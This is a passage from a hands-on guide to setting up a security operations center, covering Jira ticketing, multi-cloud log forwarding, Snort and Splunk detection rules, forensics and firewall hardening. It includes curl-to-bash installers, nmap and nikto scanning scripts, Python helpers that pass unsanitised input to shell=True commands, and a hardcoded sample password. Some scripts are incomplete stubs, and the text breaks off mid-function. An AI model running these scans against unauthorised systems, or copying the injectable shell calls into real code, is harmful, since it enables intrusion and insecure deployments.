sudo chmod +x /var/ossec/backup_wazuh.sh
```

Chapter 7: Jira Integration

7.1 Jira Server Setup

Set up Jira server for incident management and ticket tracking. This includes server installation, database configuration, and initial setup for SOC operations.

```
# Download Jira Software

wget https://www.atlassian.com/software/jira/downloads/binary/atlassian-jira-software-9.4.0.tar.gz

# Extract Jira

sudo tar -xzf atlassian-jira-software-9.4.0.tar.gz -C /opt

sudo ln -s /opt/atlassian-jira-software-9.4.0-standalone /opt/jira

# Create Jira user

sudo useradd -r -d /opt/jira -s /bin/bash jira

# Set ownership

sudo chown -R jira:jira /opt/jira

# Create Jira home directory

sudo mkdir -p /var/atlassian/application-data/jira

sudo chown -R jira:jira /var/atlassian/application-data/jira

# Configure Jira home

sudo nano
/opt/jira/atlassian-jira/WEB-INF/classes/jira-application.properties

# Add: jira.home=/var/atlassian/application-data/jira
```

7.2 Database Configuration

Configure database for Jira to store incident tickets and project data. This includes PostgreSQL setup and Jira database configuration.

```
# Install PostgreSQL

sudo apt update

sudo apt install postgresql postgresql-contrib -y

# Start PostgreSQL

sudo systemctl enable postgresql

sudo systemctl start postgresql

# Create Jira database

sudo -u postgres psql
```

```
CREATE DATABASE jiradb;
CREATE USER jirauser WITH PASSWORD 'SecurePassword123!';
GRANT ALL PRIVILEGES ON DATABASE jiradb TO jirauser;
\q

# Configure PostgreSQL for Jira
sudo nano /etc/postgresql/13/main/postgresql.conf
# Set: max_connections = 100

sudo nano /etc/postgresql/13/main/pg_hba.conf
# Add: host jiradb jirauser 127.0.0.1/32 md5
```

7.3 Jira Initial Configuration

Configure Jira with initial settings including admin account, license, and basic project setup for SOC incident management.

```
# Start Jira
sudo -u jira /opt/jira/bin/start-jira.sh

# Access Jira web interface
# Open: http://localhost:8080

# Initial setup steps:
# 1. Choose 'I'll set it up myself'
# 2. Select 'PostgreSQL' as database
# 3. Configure database connection:
# - Hostname: localhost
# - Port: 5432
# - Database: jiradb
# - Username: jirauser
# - Password: SecurePassword123!
# 4. Create admin account
# 5. Enter license key (if available)
# 6. Create SOC project
```

7.4 Project Creation and Setup

Create SOC project in Jira with appropriate issue types, workflows, and custom fields for security incident management.

```
# Create SOC Project
# 1. Go to Projects > Create project
# 2. Select 'Security Operations Center' template
# 3. Project key: SOC
# 4. Project name: Security Operations Center
# 5. Project lead: SOC Manager

# Configure Issue Types
# - Security Incident
# - Threat Alert
# - Vulnerability Report
# - Investigation Task
# - Remediation Task

# Set up Custom Fields
# - Severity Level (Critical, High, Medium, Low)
# - MITRE ATT&CK; Technique
# - Source IP Address
# - Affected User
# - Detection Tool
# - Response Status
```

7.5 Workflow Configuration

Configure incident response workflow in Jira to automate ticket lifecycle management and ensure proper escalation procedures.

```
# Create Incident Response Workflow
# 1. Go to Administration > Issues > Workflows
# 2. Create new workflow: 'SOC Incident Response'
# 3. Add statuses:
# - New
# - In Progress
# - Under Investigation
# - Escalated
# - Resolved
# - Closed

# Configure Transitions
# - New → In Progress (Auto-assign)
# - In Progress → Under Investigation
# - Under Investigation → Escalated (if needed)
# - Under Investigation → Resolved
# - Escalated → Under Investigation
# - Resolved → Closed

# Add Conditions and Validators
# - Required fields validation
# - Permission checks
# - Automated assignments
```

7.6 API Integration Setup

Set up Jira REST API integration for automated ticket creation from security tools. This includes API token creation and authentication configuration.

```
# Create API Token
# 1. Go to Profile > Personal Access Tokens
# 2. Click 'Create token'
# 3. Name: SOC Integration Token
# 4. Copy the generated token

# Test API Connection
curl -D- \
-u soc@company.com:your_api_token \
-X GET \
-H "Content-Type: application/json" \
https://your-company.atlassian.net/rest/api/3/myself

# Create Issue via API
curl -D- \
-u soc@company.com:your_api_token \
-X POST \
-H "Content-Type: application/json" \
--data '{"fields":{"project":{"key":"SOC"},"summary":"Test
Incident","description":"Test description","issuetype":{"name":"Security
Incident"}}}' \
https://your-company.atlassian.net/rest/api/3/issue
```

7.7 Custom Fields Configuration

Configure custom fields for security incident tracking. This includes severity levels, MITRE ATT&CK; mappings, and technical details fields.

```
# Create Custom Fields
# 1. Go to Administration > Issues > Custom fields
# 2. Add custom fields:

# Severity Level (Select List)
# - Critical
# - High
# - Medium
# - Low

# MITRE ATT&CK; Technique (Text Field)
# - Single line text
# - Description: MITRE ATT&CK; technique identifier

# Source IP Address (Text Field)
# - Single line text
# - Description: Source IP address of the threat

# Affected User (User Picker)
# - User picker field
# - Description: User account affected by the incident

# Detection Tool (Select List)
# - Splunk
# - Wazuh
# - Manual
# - Other

# Response Status (Select List)
# - Pending
# - In Progress
# - Completed
# - Failed
```

7.8 Automation and Webhooks

Set up automation rules and webhooks for automated incident response. This includes automatic ticket creation, status updates, and notifications.

```
# Configure Webhooks
# 1. Go to Administration > System > Webhooks
# 2. Create webhook for incident creation
# 3. URL: https://your-soc-server/webhook/jira
# 4. Events: Issue created, Issue updated

# Set up Automation Rules
# 1. Go to Administration > Issues > Automation
# 2. Create rule: 'Auto-assign Critical Incidents'
# 3. Trigger: Issue created
# 4. Condition: Severity = Critical
# 5. Action: Assign to SOC Manager

# Create Notification Rules
# 1. Rule: 'Notify on High Severity'
# 2. Trigger: Issue created or updated
# 3. Condition: Severity = High or Critical
# 4. Action: Send email to SOC team

# Configure Escalation Rules
# 1. Rule: 'Escalate Stale Incidents'
# 2. Trigger: Issue updated
# 3. Condition: Status unchanged for 24 hours
# 4. Action: Add comment and notify manager
```

7.9 Dashboard Configuration

Create operational dashboards for SOC incident management. This includes incident overview, response metrics, and team performance tracking.

```
# Create SOC Dashboard
# 1. Go to Dashboards > Create dashboard
# 2. Name: 'SOC Incident Management'
# 3. Add gadgets:

# Incident Overview Gadget
# - Type: Filter Results
# - Filter: project = SOC
# - Columns: Key, Summary, Severity, Status, Assignee

# Severity Distribution Gadget
# - Type: Pie Chart
# - Filter: project = SOC
# - Group by: Severity Level

# Response Time Gadget
# - Type: Average Age
# - Filter: project = SOC AND status != Closed
# - Field: Created
# Team Workload Gadget
# - Type: Filter Results
# - Filter: project = SOC AND assignee != Unassigned
# - Group by: Assignee

# Recent Activity Gadget
# - Type: Activity Stream
# - Filter: project = SOC
# - Time period: Last 24 hours
```

7.10 Reporting Setup

Configure reporting capabilities for SOC metrics and incident analysis. This includes custom reports, scheduled reports, and export functionality.

```
# Create Custom Reports
# 1. Go to Issues > Search for issues
# 2. Create saved filters:

# Critical Incidents Report
# - JQL: project = SOC AND Severity = Critical
# - Columns: Key, Summary, Created, Updated, Assignee

# Response Time Report
# - JQL: project = SOC AND status = Resolved
# - Columns: Key, Summary, Created, Resolved, Time to Resolution

# Team Performance Report
# - JQL: project = SOC AND assignee != Unassigned
# - Group by: Assignee
# - Columns: Assignee, Count, Average Age

# MITRE ATT&CK; Analysis Report
# - JQL: project = SOC AND 'MITRE ATT&CK; Technique' IS NOT EMPTY
# - Group by: MITRE ATT&CK; Technique
# - Columns: Technique, Count, Severity Distribution

# Schedule Reports
# 1. Go to Administration > System > Scheduled jobs
# 2. Create scheduled report: 'Daily SOC Summary'
# 3. Frequency: Daily at 9:00 AM
# 4. Recipients: SOC team email list
```

7.11 Security Configuration

Implement security measures for Jira to protect sensitive incident data. This includes access controls, authentication, and audit logging.

```
# Configure Security Settings
# 1. Go to Administration > Security > Security settings
# 2. Enable security features:

# Session Management
# - Session timeout: 8 hours
# - Remember me: Disabled
# - Concurrent sessions: Limited to 1

# Password Policy
# - Minimum length: 12 characters
# - Require complexity: Enabled
# - Password history: 5 passwords
# - Expiration: 90 days

# Access Control
# - IP restrictions: Configure allowed IP ranges
# - Two-factor authentication: Required for admin users
# - API access: Restricted to specific IPs

# Audit Logging
# - Enable audit logging
# - Log all administrative actions
# - Log all data access
# - Retention: 1 year
```

7.12 Integration Testing

Test Jira integration with SOC tools to ensure proper ticket creation and workflow automation. This includes API testing and end-to-end validation.

```
# Test API Connection
curl -D- \
-u soc@company.com:your_api_token \
-X GET \
-H "Content-Type: application/json" \
https://your-company.atlassian.net/rest/api/3/myself

# Test Issue Creation
```

```
curl -D- \

-u soc@company.com:your_api_token \

-X POST \

-H "Content-Type: application/json" \

--data '{"fields":{"project":{"key":"SOC"},"summary":"Test Security
Incident","description":"This is a test incident for integration
validation.","issuetype":{"name":"Security
Incident"},"customfield_10001":"High","customfield_10002":"T1110"}}' \

https://your-company.atlassian.net/rest/api/3/issue

# Test Webhook

curl -X POST \

-H "Content-Type: application/json" \

--data '{"issue":{"key":"SOC-123","fields":{"summary":"Test Webhook"}}}' \

http://your-soc-server/webhook/jira

# Verify Integration

# 1. Check ticket creation in Jira

# 2. Verify custom fields are populated

# 3. Test workflow transitions

# 4. Validate notifications
```

Chapter 8: Cloud Security Integration

8.1 AWS CloudTrail Integration

Integrate AWS CloudTrail with the SOC for comprehensive AWS security monitoring. This includes CloudTrail setup, log forwarding, and security event detection.

```
# Install AWS CLI

curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o
"awscliv2.zip"

unzip awscliv2.zip

sudo ./aws/install

# Configure AWS credentials

aws configure

# Enter: AWS Access Key ID, Secret Access Key, Default region, Default output
format

# Enable CloudTrail

aws cloudtrail create-trail \

--name SOC-CloudTrail \

--s3-bucket-name your-soc-logs-bucket \

--include-global-service-events \

--is-multi-region-trail

# Start CloudTrail logging

aws cloudtrail start-logging --name SOC-CloudTrail

# Verify CloudTrail status

aws cloudtrail describe-trails --trail-name-list SOC-CloudTrail
```

8.2 AWS Log Forwarding

Configure log forwarding from AWS to Splunk for centralized security monitoring. This includes S3 bucket configuration and automated log collection.

```
# Create S3 bucket for logs

aws s3 mb s3://soc-cloudtrail-logs

# Configure S3 bucket policy

aws s3api put-bucket-policy --bucket soc-cloudtrail-logs --policy '{"Version"
:"2012-10-17","Statement":[{"Sid":"CloudTrailAclCheck","Effect":"Allow","Prin
cipal":{"Service":"cloudtrail.amazonaws.com"},"Action":"s3:GetBucketAcl","Res
ource":"arn:aws:s3:::soc-cloudtrail-logs"},{"Sid":"CloudTrailWrite","Effect":
"Allow","Principal":{"Service":"cloudtrail.amazonaws.com"},"Action":"s3:PutOb
ject","Resource":"arn:aws:s3:::soc-cloudtrail-logs/AWSLogs/*","Condition":{"S
tringEquals":{"s3:x-amz-acl":"bucket-owner-full-control"}}}]}'

# Create log forwarding script

sudo nano /opt/splunk/etc/apps/aws/bin/cloudtrail_forwarder.sh

# Script content:

#!/bin/bash

AWS_REGION="us-east-1"

S3_BUCKET="soc-cloudtrail-logs"

SPLUNK_HEC_URL="https://splunk-server:8088/services/collector"

SPLUNK_HEC_TOKEN="your_hec_token"

# Download and forward logs

aws s3 sync s3://$S3_BUCKET/AWSLogs/ /tmp/cloudtrail-logs/

# Process and forward to Splunk

for file in /tmp/cloudtrail-logs/**/*.json; do

curl -H "Authorization: Splunk $SPLUNK_HEC_TOKEN" \

-H "Content-Type: application/json" \

--data-binary @$file \

$SPLUNK_HEC_URL

done

# Make script executable

sudo chmod +x /opt/splunk/etc/apps/aws/bin/cloudtrail_forwarder.sh
```

8.3 Azure Monitor Integration

Set up Azure Monitor integration for comprehensive Azure security monitoring. This includes diagnostic settings, log analytics, and security center integration.

```
# Install Azure CLI

curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

# Login to Azure

az login

# Set subscription

az account set --subscription your-subscription-id

# Create Log Analytics workspace

az monitor log-analytics workspace create \

--resource-group SOC-RG \

--workspace-name SOC-Workspace
```

```
# Enable diagnostic settings
az monitor diagnostic-settings create \
--resource-group SOC-RG \
--resource-type Microsoft.Storage/storageAccounts \
--resource-name your-storage-account \
--name SOC-Diagnostics \
--workspace SOC-Workspace \
--logs '[{"category":"StorageRead","enabled":true},{"category":"StorageWrite"
,"enabled":true}]'
```

8.4 Azure Security Center Setup

Configure Azure Security Center for advanced threat protection and security monitoring. This includes security policies and automated responses.

```
# Enable Security Center
az security pricing create \
--name VirtualMachines \
--tier Standard

# Configure security policies
az policy assignment create \
--name SOC-Security-Policy \
--policy-set-definition "Security Center Built-in" \
--resource-group SOC-RG

# Enable auto-provisioning
az security auto-provisioning-setting update \
--auto-provision On

# Configure security contacts
az security contact create \
--name SOC-Contact \
--email soc@company.com \
--phone +1-555-0123 \
--alert-notifications On \
--alerts-to-admins On
```

8.5 Google Cloud Platform Integration

Set up Google Cloud Platform integration for comprehensive GCP security monitoring. This includes Cloud Logging, Security Command Center, and audit logging.

```
# Install Google Cloud SDK
curl https://sdk.cloud.google.com | bash
exec -l $SHELL

# Initialize gcloud
gcloud init

# Set project
gcloud config set project your-project-id

# Enable required APIs
gcloud services enable cloudresourcemanager.googleapis.com
gcloud services enable logging.googleapis.com
gcloud services enable securitycenter.googleapis.com

# Configure audit logging
gcloud projects get-iam-policy your-project-id \
--flatten="bindings[].members" \
--format="table(bindings.role)" \
--filter="bindings.members:allUsers"

# Create log export
gcloud logging sinks create soc-logs \
storage.googleapis.com/your-soc-logs-bucket \
--log-filter="resource.type=gce_instance OR resource.type=gce_network"
```

8.6 Multi-Cloud Data Collection

Configure centralized data collection from multiple cloud platforms. This includes unified logging, data normalization, and cross-cloud correlation.

```
# Create unified data collection script
sudo nano /opt/splunk/etc/apps/multicloud/bin/collect_cloud_logs.sh

# Script content:
#!/bin/bash
SPLUNK_HEC_URL="https://splunk-server:8088/services/collector"
SPLUNK_HEC_TOKEN="your_hec_token"

# Collect AWS CloudTrail logs
aws s3 sync s3://soc-cloudtrail-logs/AWSLogs/ /tmp/aws-logs/
for file in /tmp/aws-logs/**/*.json; do
jq '. + {"cloud_provider": "aws", "log_type": "cloudtrail"}' $file | \
curl -H "Authorization: Splunk $SPLUNK_HEC_TOKEN" \
-H "Content-Type: application/json" \
--data-binary @- \
$SPLUNK_HEC_URL
done

# Collect Azure Monitor logs
az monitor log-analytics query \
--workspace SOC-Workspace \
--analytics-query "AzureActivity | where TimeGenerated > ago(1h)" \
--output json | \
jq '. + {"cloud_provider": "azure", "log_type": "activity"}' | \
curl -H "Authorization: Splunk $SPLUNK_HEC_TOKEN" \
-H "Content-Type: application/json" \
--data-binary @- \
$SPLUNK_HEC_URL

# Collect GCP logs
gcloud logging read "resource.type=gce_instance" \
--format="json" | \
jq '. + {"cloud_provider": "gcp", "log_type": "compute"}' | \
curl -H "Authorization: Splunk $SPLUNK_HEC_TOKEN" \
-H "Content-Type: application/json" \
--data-binary @- \
$SPLUNK_HEC_URL

# Make script executable
sudo chmod +x /opt/splunk/etc/apps/multicloud/bin/collect_cloud_logs.sh
```

8.7 Cloud Security Monitoring

Configure comprehensive security monitoring for cloud environments. This includes threat detection, anomaly monitoring, and security event correlation.

```
# Create cloud security monitoring dashboard
sudo nano /opt/splunk/etc/apps/cloud_security/local/data/ui/views/cloud_secur
ity_dashboard.xml

# Dashboard configuration:

Cloud Security Monitoring
Comprehensive cloud security monitoring dashboard


Cloud Security Events by Provider
```

```
index=cloud_logs | stats count by cloud_provider

pie


Top Security Threats

index=cloud_logs | stats count by event_type | sort -count | head 10
```

8.8 Cloud-Specific Detection Rules

Create cloud-specific detection rules for security threats and anomalies. This includes AWS, Azure, and GCP specific threat detection patterns.

```
# Create cloud detection rules

sudo nano
/opt/splunk/etc/apps/cloud_security/local/cloud_detection_rules.conf

# AWS CloudTrail detection rules:

[aws_unauthorized_access]

search = index=cloud_logs cloud_provider=aws eventName=ConsoleLogin
errorCode=AccessDenied

description = AWS Console unauthorized access attempt

severity = High

[aws_suspicious_api_calls]

search = index=cloud_logs cloud_provider=aws eventName=*
errorCode=AccessDenied | stats count by eventName | where count > 10

description = Multiple failed AWS API calls

severity = Medium

# Azure Monitor detection rules:

[azure_failed_logins]

search = index=cloud_logs cloud_provider=azure Category=SignInLogs
ResultType=Failure

description = Azure failed login attempts

severity = Medium

[azure_suspicious_activity]

search = index=cloud_logs cloud_provider=azure Category=AuditLogs | stats
count by OperationName | where count > 5
```

```
description = Suspicious Azure activity

severity = High

# GCP detection rules:

[gcp_unauthorized_access]

search = index=cloud_logs cloud_provider=gcp protoPayload.methodName=*
errorCode=PERMISSION_DENIED

description = GCP unauthorized access attempt

severity = High

[gcp_suspicious_activity]

search = index=cloud_logs cloud_provider=gcp protoPayload.methodName=* |
stats count by protoPayload.methodName | where count > 10

description = Multiple GCP API calls

severity = Medium
```

8.9 Cloud Security Automation

Implement automated security responses for cloud environments. This includes automated remediation, alerting, and incident response workflows.

```
# Create cloud security automation script

sudo nano
/opt/splunk/etc/apps/cloud_security/bin/cloud_security_automation.py

# Script content:

#!/usr/bin/env python3

import json

import requests

import boto3

import azure.mgmt.compute

from google.cloud import compute_v1

def aws_remediate(instance_id, region):

ec2 = boto3.client('ec2', region_name=region)

response = ec2.stop_instances(InstanceIds=[instance_id])

return response

def azure_remediate(resource_group, vm_name):

compute_client = azure.mgmt.compute.ComputeManagementClient(

credentials, subscription_id

)

response = compute_client.virtual_machines.begin_deallocate(

resource_group, vm_name
)
return response

def gcp_remediate(project_id, zone, instance_name):
client = compute_v1.InstancesClient()
operation = client.stop(
project=project_id, zone=zone, instance=instance_name
)
return operation

def process_alert(alert_data):
if alert_data['cloud_provider'] == 'aws':
aws_remediate(alert_data['instance_id'], alert_data['region'])
elif alert_data['cloud_provider'] == 'azure':
azure_remediate(alert_data['resource_group'], alert_data['vm_name'])
elif alert_data['cloud_provider'] == 'gcp':
gcp_remediate(alert_data['project_id'], alert_data['zone'],
alert_data['instance_name'])

# Make script executable
sudo chmod +x
/opt/splunk/etc/apps/cloud_security/bin/cloud_security_automation.py
```

8.10 Cloud Security Compliance

Implement compliance monitoring for cloud environments. This includes regulatory compliance checks, audit logging, and compliance reporting.

```
# Create compliance monitoring dashboard
sudo nano /opt/splunk/etc/apps/cloud_compliance/local/data/ui/views/complianc
e_dashboard.xml

# Compliance rules configuration:
[pci_dss_cloud_compliance]
search = index=cloud_logs (eventName=CreateBucket OR
eventName=PutBucketPolicy) | stats count by eventName
description = PCI DSS Cloud Storage Compliance Check
severity = Medium

[hipaa_cloud_compliance]
search = index=cloud_logs (eventName=CreateDatabase OR
eventName=ModifyDatabase) | stats count by eventName
description = HIPAA Cloud Database Compliance Check
severity = High
```

```
[sox_cloud_compliance]

search = index=cloud_logs (eventName=CreateUser OR eventName=DeleteUser) |
stats count by eventName

description = SOX Cloud User Management Compliance Check

severity = Medium

# Compliance reporting script

sudo nano
/opt/splunk/etc/apps/cloud_compliance/bin/generate_compliance_report.py

# Script content:

#!/usr/bin/env python3

import json

import requests

from datetime import datetime, timedelta

def generate_compliance_report(cloud_provider, compliance_standard):

# Generate compliance report logic

report_data = {

'cloud_provider': cloud_provider,

'compliance_standard': compliance_standard,

'generated_date': datetime.now().isoformat(),

'compliance_score': 95,

'findings': []

}

return report_data

# Make script executable

sudo chmod +x
/opt/splunk/etc/apps/cloud_compliance/bin/generate_compliance_report.py
```

8.11 Cloud Security Testing

Implement security testing for cloud environments. This includes penetration testing, vulnerability scanning, and security assessment procedures.

```
# Create cloud security testing script

sudo nano /opt/splunk/etc/apps/cloud_security/bin/cloud_security_test.py

# Script content:

#!/usr/bin/env python3

import boto3

import azure.mgmt.security

from google.cloud import securitycenter_v1
```

```
def test_aws_security():

# Test AWS security configurations

iam = boto3.client('iam')

response = iam.get_account_authorization_details()

return response

def test_azure_security():

# Test Azure security configurations

security_client = azure.mgmt.security.SecurityCenter(

credentials, subscription_id

)

response = security_client.security_solutions.list()

return response

def test_gcp_security():

# Test GCP security configurations

client = securitycenter_v1.SecurityCenterClient()

response = client.list_findings(

parent=f"projects/{project_id}/sources/-/findings"

)

return response

# Run security tests

def run_security_tests():

aws_results = test_aws_security()

azure_results = test_azure_security()

gcp_results = test_gcp_security()

return {

'aws': aws_results,

'azure': azure_results,

'gcp': gcp_results

}

# Make script executable

sudo chmod +x /opt/splunk/etc/apps/cloud_security/bin/cloud_security_test.py
```

Chapter 9: Network Security Monitoring

9.1 Network Traffic Analysis Setup

Set up comprehensive network traffic analysis for security monitoring. This includes packet capture, traffic analysis tools, and network flow monitoring.

```
# Install network analysis tools
sudo apt update
sudo apt install -y tcpdump wireshark ntopng nethogs iftop

# Configure packet capture
sudo tcpdump -i eth0 -w /var/log/network_capture.pcap

# Set up continuous packet capture
sudo tcpdump -i eth0 -w /var/log/network_$(date +%Y%m%d_%H%M%S).pcap -G 3600

# Monitor network interfaces
sudo iftop -i eth0

# Analyze network flows
sudo ntopng -i eth0 -w 3000

# Create network monitoring script
sudo nano /opt/soc/bin/network_monitor.sh
```

9.2 IDS/IPS Configuration

Configure Intrusion Detection System (IDS) and Intrusion Prevention System (IPS) for network security monitoring and threat prevention.

```
# Install Snort IDS/IPS
sudo apt install -y snort

# Configure Snort
sudo nano /etc/snort/snort.conf

# Basic Snort configuration:
var HOME_NET 192.168.100.0/24
var EXTERNAL_NET any
var RULE_PATH /etc/snort/rules
var LOG_PATH /var/log/snort

# Enable rules
include $RULE_PATH/local.rules
include $RULE_PATH/soc.rules

# Configure output
output alert_fast: $LOG_PATH/alert.ids
output log_tcpdump: $LOG_PATH/snort.log

# Start Snort in IDS mode
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0

# Start Snort in IPS mode
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0 -Q
```

9.3 Network Segmentation

Implement network segmentation to isolate different security zones and control traffic flow between network segments.

```
# Configure VLANs
sudo nano /etc/network/interfaces

# VLAN configuration:
auto eth0.100
iface eth0.100 inet static
address 192.168.100.10
netmask 255.255.255.0
vlan_raw_device eth0

auto eth0.200
iface eth0.200 inet static
address 192.168.200.10
netmask 255.255.255.0
vlan_raw_device eth0

# Configure iptables rules
sudo iptables -A FORWARD -i eth0.100 -o eth0.200 -j DROP
sudo iptables -A FORWARD -i eth0.200 -o eth0.100 -j ACCEPT

# Save iptables rules
sudo iptables-save > /etc/iptables/rules.v4

# Configure network zones
sudo nano /etc/ufw/applications.d/soc-zones

# Zone definitions:
[SOC-Management]
```

```
title=SOC Management Network
description=Network for SOC management interfaces
ports=22/tcp,80/tcp,443/tcp

[SOC-Monitoring]
title=SOC Monitoring Network
description=Network for security monitoring tools
ports=1514/tcp,8000/tcp,8089/tcp
```

9.4 Traffic Monitoring and Alerting

Set up comprehensive traffic monitoring and alerting for network security. This includes anomaly detection, traffic analysis, and automated alerting.

```
# Create traffic monitoring script
sudo nano /opt/soc/bin/traffic_monitor.py

# Script content:
#!/usr/bin/env python3
import subprocess
import json
import time
from datetime import datetime

def capture_traffic_stats():
# Capture network statistics
cmd = "netstat -i"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.stdout

def analyze_traffic_patterns():
# Analyze traffic patterns for anomalies
cmd = "tcpdump -i eth0 -c 1000 -w - | tcpdump -r - -n"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.stdout

def detect_anomalies(traffic_data):
# Implement anomaly detection logic
anomalies = []
# Add anomaly detection algorithms
return anomalies

def send_alert(alert_data):
```

```
# Send alert to SOC tools
print(f"Alert: {alert_data}")

# Main monitoring loop
while True:
traffic_stats = capture_traffic_stats()
traffic_patterns = analyze_traffic_patterns()
anomalies = detect_anomalies(traffic_patterns)

for anomaly in anomalies:
send_alert(anomaly)

time.sleep(60)

# Make script executable
sudo chmod +x /opt/soc/bin/traffic_monitor.py
```

9.5 Network Security Tools Integration

Integrate network security tools with the SOC infrastructure. This includes Splunk integration, Wazuh network monitoring, and centralized logging.

```
# Configure Splunk network monitoring
sudo nano /opt/splunk/etc/apps/network_monitoring/local/inputs.conf

# Network monitoring inputs:
[script://./bin/network_monitor.py]
disabled = 0
sourcetype = network_monitoring
index = network_logs

[monitor:///var/log/snort/alert.ids]
disabled = 0
sourcetype = snort_alerts
index = security_events

# Configure Wazuh network monitoring
sudo nano /var/ossec/etc/ossec.conf

# Add network monitoring:

syslog
/var/log/snort/alert.ids


syslog
```

```
/var/log/network_capture.log


# Create network monitoring dashboard

sudo nano /opt/splunk/etc/apps/network_monitoring/local/data/ui/views/network
_dashboard.xml
```

9.6 Network Threat Detection Rules

Create network-specific threat detection rules for various attack patterns. This includes DDoS detection, port scanning, and suspicious traffic patterns.

```
# Create Snort custom rules

sudo nano /etc/snort/rules/soc.rules

# SOC custom rules:

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"SOC: SSH brute force
attempt"; flow:established; content:"SSH"; threshold:type threshold, track
by_src, count 5, seconds 60; sid:100001; rev:1;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 3389 (msg:"SOC: RDP access attempt";
flow:established; content:"RDP"; sid:100002; rev:1;)

alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"SOC: Port scan detected";
flow:stateless; flags:S; threshold:type threshold, track by_src, count 10,
seconds 60; sid:100003; rev:1;)

# Create Splunk network detection rules

sudo nano
/opt/splunk/etc/apps/network_monitoring/local/network_detection_rules.conf

# Network detection rules:

[network_ddos_detection]

search = index=network_logs | stats count by src_ip | where count > 1000

description = DDoS attack detection

severity = High

[network_port_scan]

search = index=network_logs | stats count by src_ip, dest_port | where count >
50

description = Port scanning activity

severity = Medium

[network_suspicious_traffic]

search = index=network_logs (dest_port=22 OR dest_port=23 OR dest_port=3389) |
stats count by src_ip

description = Suspicious remote access attempts

severity = High
```

9.7 Network Forensics

Set up network forensics capabilities for incident investigation and analysis. This includes packet capture analysis, traffic reconstruction, and evidence collection.

```
# Install forensics tools
sudo apt install -y tshark tcpflow ngrep tcpxtract

# Create forensics script
sudo nano /opt/soc/bin/network_forensics.py

# Script content:
#!/usr/bin/env python3
import subprocess
import os
from datetime import datetime

def capture_evidence(interface, duration):
# Capture network evidence
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
filename = f"/var/log/forensics/capture_{timestamp}.pcap"

cmd = f"tcpdump -i {interface} -w {filename} -G {duration}"
subprocess.run(cmd, shell=True)
return filename

def analyze_pcap(pcap_file):
# Analyze captured packets
cmd = f"tshark -r {pcap_file} -T json"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.stdout

def extract_files(pcap_file):
# Extract files from network traffic
output_dir = f"/var/log/forensics/extracted_{os.path.basename(pcap_file)}"
os.makedirs(output_dir, exist_ok=True)

cmd = f"tcpxtract -f {pcap_file} -o {output_dir}"
subprocess.run(cmd, shell=True)
return output_dir

def generate_report(pcap_file, analysis_data):
# Generate forensics report
report_file = f"/var/log/forensics/report_{os.path.basename(pcap_file)}.txt"
```

```
with open(report_file, 'w') as f:
f.write(f"Network Forensics Report\n")
f.write(f"Capture File: {pcap_file}\n")
f.write(f"Analysis Date: {datetime.now()}\n")
f.write(f"Analysis Data: {analysis_data}\n")

return report_file

# Make script executable
sudo chmod +x /opt/soc/bin/network_forensics.py
```

9.8 Network Performance Monitoring

Monitor network performance to detect anomalies and potential security issues. This includes bandwidth monitoring, latency analysis, and performance baselines.

```
# Install performance monitoring tools
sudo apt install -y iperf3 nload bmon vnstat

# Create performance monitoring script
sudo nano /opt/soc/bin/network_performance.py

# Script content:
#!/usr/bin/env python3
import subprocess
import json
import time
from datetime import datetime

def measure_bandwidth(interface):
# Measure bandwidth usage
cmd = f"cat /proc/net/dev | grep {interface}"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.stdout

def measure_latency(target):
# Measure network latency
cmd = f"ping -c 5 {target}"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.stdout

def detect_performance_anomalies(baseline_data, current_data):
# Detect performance anomalies
anomalies = []
```

```
# Implement anomaly detection logic
return anomalies

def generate_performance_report(interface):
# Generate performance report
bandwidth = measure_bandwidth(interface)
latency = measure_latency("8.8.8.8")

report = {
"timestamp": datetime.now().isoformat(),
"interface": interface,
"bandwidth": bandwidth,
"latency": latency
}

return report

# Main monitoring loop
while True:
report = generate_performance_report("eth0")
print(json.dumps(report, indent=2))
time.sleep(300)

# Make script executable
sudo chmod +x /opt/soc/bin/network_performance.py
```

9.9 Network Security Hardening

Implement network security hardening measures to protect against attacks. This includes firewall configuration, access controls, and security policies.

```
# Configure firewall rules
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp
sudo ufw allow 80/tcp
sudo ufw allow 443/tcp
sudo ufw allow 1514/tcp
sudo ufw allow 8000/tcp
sudo ufw allow 8089/tcp
sudo ufw enable

# Configure iptables rules
```

```
sudo iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --set

sudo iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent
--update --seconds 60 --hitcount 4 -j DROP

# Configure network access controls

sudo nano /etc/hosts.allow

# Add:

sshd: 192.168.100.0/24

splunk: 192.168.100.0/24

wazuh: 192.168.100.0/24

sudo nano /etc/hosts.deny

# Add:

ALL: ALL

# Configure network security policies

sudo nano /etc/network/security.conf

# Add security policies:

net.ipv4.conf.all.accept_redirects = 0

net.ipv4.conf.default.accept_redirects = 0

net.ipv4.conf.all.secure_redirects = 0

net.ipv4.conf.default.secure_redirects = 0

net.ipv4.conf.all.send_redirects = 0

net.ipv4.conf.default.send_redirects = 0
```

9.10 Network Security Testing

Implement network security testing procedures to validate security controls. This includes penetration testing, vulnerability scanning, and security assessments.

```
# Install security testing tools

sudo apt install -y nmap masscan nikto sqlmap

# Create network security testing script

sudo nano /opt/soc/bin/network_security_test.py

# Script content:

#!/usr/bin/env python3

import subprocess

import json

from datetime import datetime

def port_scan(target):

# Perform port scan
```

```
cmd = f"nmap -sS -sV -O {target}"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.stdout

def vulnerability_scan(target):
# Perform vulnerability scan
cmd = f"nmap --script vuln {target}"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.stdout

def web_security_test(target):
# Perform web security testing
cmd = f"nikto -h {target}"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.stdout

def generate_security_report(target):
